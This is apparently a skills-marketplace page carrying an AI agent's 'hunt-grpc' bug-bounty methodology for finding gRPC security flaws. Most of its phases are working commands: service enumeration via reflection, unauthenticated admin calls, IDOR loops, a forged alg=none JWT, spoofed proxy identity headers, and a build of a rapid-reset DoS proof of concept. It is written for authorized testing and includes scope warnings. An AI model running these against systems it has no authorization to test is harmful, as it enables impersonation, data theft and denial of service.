elementalsouls/claude-bughunter

hunt-grpc

Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway tr…

Ver código-fonte

Como usar

  1. Copie o comando e verifique o pacote antes de instalar no seu ambiente de agente.
  2. Consulte no original as ferramentas, credenciais e ambientes necessários.
  3. Descreva os dados de entrada e a entrega esperada; confira a saída com as fontes.
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-grpc

Antes de começar

  • A instalação não inclui assinatura de modelo, franquia API ou acesso aos seus arquivos.
  • Estrelas e instalações indicam atividade, não um teste independente de qualidade ou segurança.
Documento original do Skill

Renderizado do repositório de origem, preservando títulos, exemplos, código, tabelas, links e imagens.

HUNT-GRPC — gRPC Security

Crown Jewel Targets

gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.

Highest-value findings:

  • Reflection enabled in production — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
  • Missing auth on internal service — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
  • Edge-auth-only / metadata-stripping — proxy authenticates the user but the backend re-trusts proxy-injected headers (x-user-id, x-tenant-id, x-forwarded-*); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
  • Plaintext gRPC — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
  • HTTP/2 Rapid Reset DoS (CVE-2023-44487) — interleaved HEADERS + immediate RSTSTREAM frames bypass `MAXCONCURRENT_STREAMS` accounting → resource exhaustion. DoS is in scope on almost no program — get explicit written authorization before sending a single burst.

Phase 1 — Fingerprint & Port Discovery

bash
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

grpc-status trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. UNIMPLEMENTED on a random path is normal and only confirms the transport — not a finding.


Phase 2 — Service Enumeration via Reflection

bash
brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

Reflection disabled? You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked .proto (Phase 5) and pass it with grpcurl -protoset bundle.bin .... Reflection-off is a hardening control, not a security boundary.


Phase 3 — Call Methods Without Authentication (authz testing)

bash
# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

Interpret the gRPC status code, not just whether bytes came back (see Validation):

  • OK + populated response → method executed unauthenticated → finding.
  • Unauthenticated (16) / PermissionDenied (7) → authz is enforced; NOT a finding.
  • Unimplemented (12) → wrong path / method not on this server.
  • InvalidArgument (3) → reached and parsed your input → method is callable; fix the payload and retry.

Phase 4 — Authentication / Trust-Boundary Bypass

bash
# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header directly to the backend port AND, separately, through the public proxy — if the proxy forwards your x-user-id unchanged to the backend, it is exploitable for real users, not just on the bypassed port.


Phase 5 — Proto File / Schema Discovery

bash
# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.


Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks

gRPC almost always reaches the browser through a transcoder: Envoy `grpc_web`/`grpc_json_transcoder`, grpc-gateway (REST↔gRPC), or Connect. These translators are the realistic external attack surface and frequently re-expose internal methods.

bash
# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes AdminService or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns OK with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).


Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)

Authorization gate: DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.

The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RSTSTREAM) before the server finishes, so each cancelled stream frees a `MAXCONCURRENTSTREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`/`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RSTSTREAM, so they cannot test this.**

Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:

bash
# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

Detection without DoSing — prefer this: the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:

bash
# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

Report the version-confirmed mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.


Tools

bash
grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

Chain Table

gRPC findingChain toImpact
Reflection enabledEnumerate all internal service methods + messagesFull API catalog disclosure (enabler)
Admin method, no authCall privileged RPCs (DeleteUser, GetConfig)Data manipulation / system access — Critical
Proxy forwards x-user-id/x-tenant-id unstrippedSpoof identity metadata → cross-tenant impersonationTenant isolation bypass — Critical
IDOR via enumerable id fieldIterate user_id over GetUserMass PII exfil — High
grpc-gateway / gRPC-Web route re-exposes internal RPCHit transcoded REST/JSON path unauthExternally-reachable authz bypass — High/Critical
Plaintext h2c on internal portMITM / sniff metadata (bearer tokens)Credential capture — High
.proto leak (repo/swagger)-protoset to drive reflection-off targetUnlocks Phases 3–4 — Low alone, High as enabler

Related skills: hunt-idor (id enumeration logic), hunt-api-misconfig (JWT alg=none / mass-assignment in request messages), hunt-auth-bypass (edge-vs-backend trust boundary), hunt-tls-network (h2c/plaintext + ALPN), cloud-iam-deep (if a called RPC returns cloud creds).


Validation — false-positive discipline

gRPC's failure modes look like successes to a naive grep. Apply these gates before any submission.

  1. Status-code discrimination, not byte-counting. A non-empty response can still be an error frame. Confirm the grpc-status trailer is 0 (OK). Unauthenticated (16) / PermissionDenied (7) mean auth WORKS — close the candidate. Unimplemented (12) means you have the wrong method. Re-run with grpcurl -v and read the trailers explicitly.
  1. Reflection / health endpoints are often intentionally public. grpc.reflection.* and grpc.health.v1.Health being reachable is, by itself, info disclosure (Low/Medium at most) — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the sensitive service you can then call without auth, proven in Phase 3.
  1. Distinguish "no auth" from "auth not required for THIS method." Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated state delta: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).
  1. Proxy-vs-backend reachability. A bug reachable only by hitting an internal :50051 you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.
  1. OOB / Collaborator for anything blind. If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to hunt-ssrf.
  1. DoS is authorization-gated and version-verifiable. Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the server: banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.

Severity guide (after the gates above pass):

  • Sensitive/admin RPC callable with no auth, side-effect proven → Critical
  • Proxy-forwarded metadata spoofing → cross-tenant impersonation → Critical
  • IDOR / mass PII via enumerable RPC → High
  • Internal service externally reachable (transcoder or open port) → High
  • Plaintext h2c leaking bearer metadata → High
  • Reflection enabled exposing non-public catalog → Medium (enabler)
  • Proto/descriptor leak, no callable sensitive method → Low

Relacionados por tarefa

do mesmo repositório

Mais Skills

Todos os Skills
elementalsouls
Comunidade

bugcrowd-reporting

Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side

instalações
1
GitHub Stars
5,1 mil
Atualizado
15 de out.
elementalsouls
Comunidade

evidence-hygiene

Evidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results

instalações
1
GitHub Stars
5,1 mil
Atualizado
15 de out.
elementalsouls
Comunidade

hunt-api-misconfig

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: proto injection in JSON merge / Object.assign / lodash .merge → polluted prototype reaches sink (RCE in Node, XSS in

instalações
1
GitHub Stars
5,1 mil
Atualizado
15 de out.
elementalsouls
Comunidade

hunt-aspnet

Hunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.

instalações
1
GitHub Stars
5,1 mil
Atualizado
15 de out.